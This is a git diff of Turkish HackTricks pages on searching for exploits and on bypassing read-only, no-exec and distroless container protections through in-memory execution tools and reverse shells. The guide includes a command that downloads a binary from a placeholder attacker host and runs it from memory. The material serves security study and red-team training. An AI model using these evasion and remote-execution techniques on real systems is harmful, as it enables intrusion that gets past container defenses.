* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
</details> </details>

View file

@ -2,22 +2,22 @@
<details> <details>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**]'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -30,7 +30,7 @@ Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresinden **s
### Searchsploit ### Searchsploit
**Exploitdb'deki hizmetler için exploit aramak için konsoldan yararlıdır.** **Konsoldan exploitdb'deki hizmetler için exploit aramak için** **searchsploit** kullanışlıdır.
```bash ```bash
#Searchsploit tricks #Searchsploit tricks
searchsploit "linux Kernel" #Example searchsploit "linux Kernel" #Example
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
``` ```
### Pompem ### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) başka bir araçtır exploits aramak için [https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem), exploit aramak için başka bir araçtır.
### MSF-Search ### MSF-Search
```bash ```bash
@ -60,10 +60,10 @@ Ayrıca vulners veritabanında arama yapabilirsiniz: [https://vulners.com/](http
Bu diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com) Bu diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -77,7 +77,7 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
</details> </details>

View file

@ -1,20 +1,20 @@
# FS korumalarını atlatma: salt okunur / no-exec / Distroless # Dosya Sistemi Korumalarını Atlatma: Salt Okunur / Çalıştırılamaz / Distroless
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünleri**]'ni edinin(https://peass.creator-spring.com)
* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu * [**The PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek. * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -25,11 +25,11 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha detaylııklanmış şekilde bulabilirsiniz: Aşağıdaki videolarda bu sayfada bahsedilen teknikleri daha detaylııklanmış şekilde bulabilirsiniz:
* [**DEF CON 31 - Gizlilik ve Kaçınma için Linux Bellek Manipülasyonu Keşfi**](https://www.youtube.com/watch?v=poHirez8jk4) * [**DEF CON 31 - Gizlilik ve Kaçınma için Linux Bellek Manipülasyonu Keşfi**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng ve bellek içi dlopen() ile Gizli sızıntılar - HackTricks Takip 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) * [**DDexec-ng ve bellek içi dlopen() ile Gizli Sızıntılar - HackTricks Takip 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## salt okunur / no-exec senaryosu ## salt okunur / çalıştırılamaz senaryo
Özellikle konteynerlerde **salt okunur (ro) dosya sistemi koruması** ile donatılmış Linux makineleri bulmak artık daha yaygın hale gelmektedir. Bu, salt okunur dosya sistemiyle bir konteyner çalıştırmak için `securitycontext` içinde **`readOnlyRootFilesystem: true`** ayarlamak kadar kolaydır: Özellikle konteynerlerde **salt okunur (ro) dosya sistemi koruması** ile donatılmış linux makineleri bulmak artık daha yaygın hale gelmektedir. Bu, salt okunur dosya sistemiyle bir konteyner çalıştırmak için `securitycontext` içinde **`readOnlyRootFilesystem: true`** ayarlamak kadar kolaydır:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -44,42 +44,42 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**. Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu yüzden diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **çalıştırılamaz koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
{% hint style="warning" %} {% hint style="warning" %}
Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi enumaratörler gibi) ikili dosyaları **indirip çalıştırmayı karmaşık hale getirir**. Kırmızı takım bakış açısından, bu, sistemde zaten olmayan ikili dosyaları indirip çalıştırmayı **karmaşık hale getirir** (örneğin, `kubectl` gibi arka kapılar veya sayıcılar).
{% endhint %} {% endhint %}
## En Kolay Atlatma: Betikler ## En Kolay Atlatma: Betikler
İkili dosyaları belirttiğimi unutmayın, **yürütülebilir herhangi bir betik** (interpreter makinede varsa) çalıştırabilirsiniz, örneğin `sh` varsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**. İkili dosyaları belirttiğimi unutmayın, **yorumlayıcı makinede mevcutsa herhangi bir betiği** çalıştırabilirsiniz, örneğin `sh` yüklüyse bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**.
Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir. Ancak, bu, ikili dosya arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir.
## Bellek Atlatmaları ## Bellek Atlatmaları
Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **bellekten çalıştırmaktır**, çünkü **korumalar orada uygulanmaz**. Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **korumaların orada uygulanmadığı bellekten çalıştırmaktır**.
### FD + exec syscall atlatma ### FD + exec syscall atlatma
Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` syscall), bu korumalar tarafından korunmayacak ve ardından bir **`exec` syscall** çağırarak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**. Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` syscall), bu korumalar tarafından korunmayacak ve ardından bir **`exec` syscall** çağırarak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**.
Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve onu **çözümlemek ve sıkıştırmak** için talimatlarla birlikte `create_memfd` syscall'i çağırarak oluşturulan bir **fd** içinde saklayacak ve çalıştırmak için **exec** syscall'i çağıracaktır. Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve `create_memfd` syscall'i çağırarak oluşturulan bir **fd** içinde **çözümlemek ve sıkıştırmak** için talimatlarla birlikte belirtilen dilde bir betik oluşturacaktır ve onu çalıştırmak için **exec** syscall'i çağırır.
{% hint style="warning" %} {% hint style="warning" %}
Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham syscalls** çağırmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`'yi çağırmak için **bellek fd** oluşturulamaz. Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bir betikten **ham syscalls** çağırmak için herhangi bir **varsayılan yol** yoktur, bu nedenle `create_memfd`'yi çağırmak için **bellek fd'si** oluşturulamaz.
Ayrıca, `/dev/shm` içinde bir dosya ile bir **düzenli fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir. Ayrıca, `/dev/shm` içinde bir dosya ile bir **düzenli fd** oluşturmak çalışmayacaktır, çünkü **çalıştırılamaz koruma** uygulanacağından çalıştırmanıza izin verilmeyecektir.
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işleminizin **`/proc/self/mem`**'ini üzerine yazarak **belleğinizi değiştirmenizi** sağlayan bir tekniktir. [**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işleminizin **`/proc/self/mem`**'ini üzerine yazarak **belleğinizi değiştirmenizi** sağlayan bir tekniktir.
Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz**. Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek, bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "değiştirebilirsiniz"**.
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec**, kendi **shellcode**'unuzu yüklemenize ve **bellekten** herhangi bir **ikili dosyayı çalıştırmanıza** olanak tanır. **DDexec / EverythingExec**, kendi **shellcode**'unuzu veya **bellekten herhangi bir ikili dosyayı** yüklemenize ve **çalıştırmanıza izin verecektir**.
{% endhint %} {% endhint %}
```bash ```bash
# Basic example # Basic example
@ -87,45 +87,45 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
``` ```
### MemExec ### MemExec
[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. **Farklı bir ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan**, DDexec tekniği aracılığıyla memexec shellcode'unu çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz. [**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. Herhangi bir **farklı ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan, sadece memexec shellcode'u DDexec tekniği aracılığıyla çalıştırabilir ve ardından **bu deamon ile iletişim kurarak yüklemek ve çalıştırmak için yeni ikili dosyaları geçirebilirsiniz**.
**Memexec'i kullanarak PHP ters kabuk'tan ikili dosyaları çalıştırmak için bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir. **Memexec'i kullanarak PHP ters kabuk'tan ikili dosyaları çalıştırmak için bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir.
### Memdlopen ### Memdlopen
DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin daha kolay bir yolunu sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir. DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin **daha kolay bir yolunu** sağlar. Bağımlılıkları olan ikili dosyaları yüklemeye bile izin verebilir.
## Distroless Atlatma ## Distroless Atlatma
### Distroless Nedir ### Distroless Nedir
Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **en temel bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıklarını içerir, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar. Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **en temel bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıkları gibi, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin **saldırı yüzeyini azaltmak** ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir. Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin saldırı yüzeyini **azaltmak** ve istismar edilebilecek güvenlik açıklarının sayısını **en aza indirmektir**.
### Ters Kabuk ### Ters Kabuk
Distroless konteynerlerde genellikle **`sh` veya `bash`** gibi normal bir kabuk bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız `ls`, `whoami`, `id` gibi ikili dosyaları da bulamazsınız. Distroless konteynerlerde genellikle **`sh` veya `bash`** gibi düzenli bir kabuk bulamayabilirsiniz. Ayrıca, `ls`, `whoami`, `id` gibi ikili dosyaları da bulamayacaksınız... genellikle bir sistemde çalıştırdığınız her şeyi bulamazsınız.
{% hint style="warning" %} {% hint style="warning" %}
Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandırma** yapamayacaksınız. Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandıramayacaksınız**.
{% endhint %} {% endhint %}
Ancak, ele geçirilen konteyner örneğin bir flask web uygulaması çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve çoğu **betik dili** ile aynı şeyi yapabilirsiniz. Ancak, ele geçirilen konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve bu nedenle bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şey çoğu **betik dili** için geçerlidir.
{% hint style="success" %} {% hint style="success" %}
Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırma yapabilirsiniz**. Betik dili kullanarak dilin yeteneklerini kullanarak **sistemi numaralandırabilirsiniz**.
{% endhint %} {% endhint %}
Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak **ikili dosyalarınızı dosya sistemine yazabilir** ve **çalıştırabilirsiniz**. Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak dosya sistemine **ikili dosyalarınızı yazabilir** ve **çalıştırabilirsiniz**.
{% hint style="success" %} {% hint style="success" %}
Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**. Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**.
{% endhint %} {% endhint %}
**RCE zafiyetlerini kullanarak betik dillerinden ters kabuklar almayı ve hafızadan ikili dosyaları çalıştırmayı nasıl istismar edeceğinize dair örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir. **RCE zafiyetlerini kullanarak bazı betik dillerinden ters kabuklar almak ve bellekten ikili dosyaları çalıştırmak için örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -137,10 +137,10 @@ Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklam görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **hacking püf noktalarınızı paylaşın**.
</details> </details>

View file

@ -8,23 +8,23 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
